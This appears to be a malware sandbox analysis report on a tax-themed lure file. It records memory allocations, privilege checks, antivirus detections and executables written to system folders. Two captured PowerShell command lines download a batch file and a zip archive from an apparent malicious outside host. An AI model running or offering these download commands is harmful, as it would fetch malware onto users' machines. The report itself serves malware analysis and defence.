NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0001a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00161000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:48 a.m.	process_identifier: 2764 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ac7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/CPA.bat' -OutFile 'C:\Users\test22\Downloads\CPA.bat' }"
cmdline	powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/TaxPrep.zip' -OutFile 'C:\Users\test22\Downloads\CPAdocxs.zip' } catch { exit 1 }"

File has been identified by 6 AntiVirus engines on VirusTotal as malicious (6 events)

Skyhigh	Artemis!Trojan
Symantec	Trojan Horse
Kaspersky	UDS:Trojan.Win32.Agent.xbxkht
Sophos	Mal/Generic-S
McAfee	Artemis!587E8ED72FC1
DeepInstinct	MALICIOUS

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW March 28, 2025, 9:48 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW March 28, 2025, 9:49 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Tax_Docu.docx .pif.pif

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All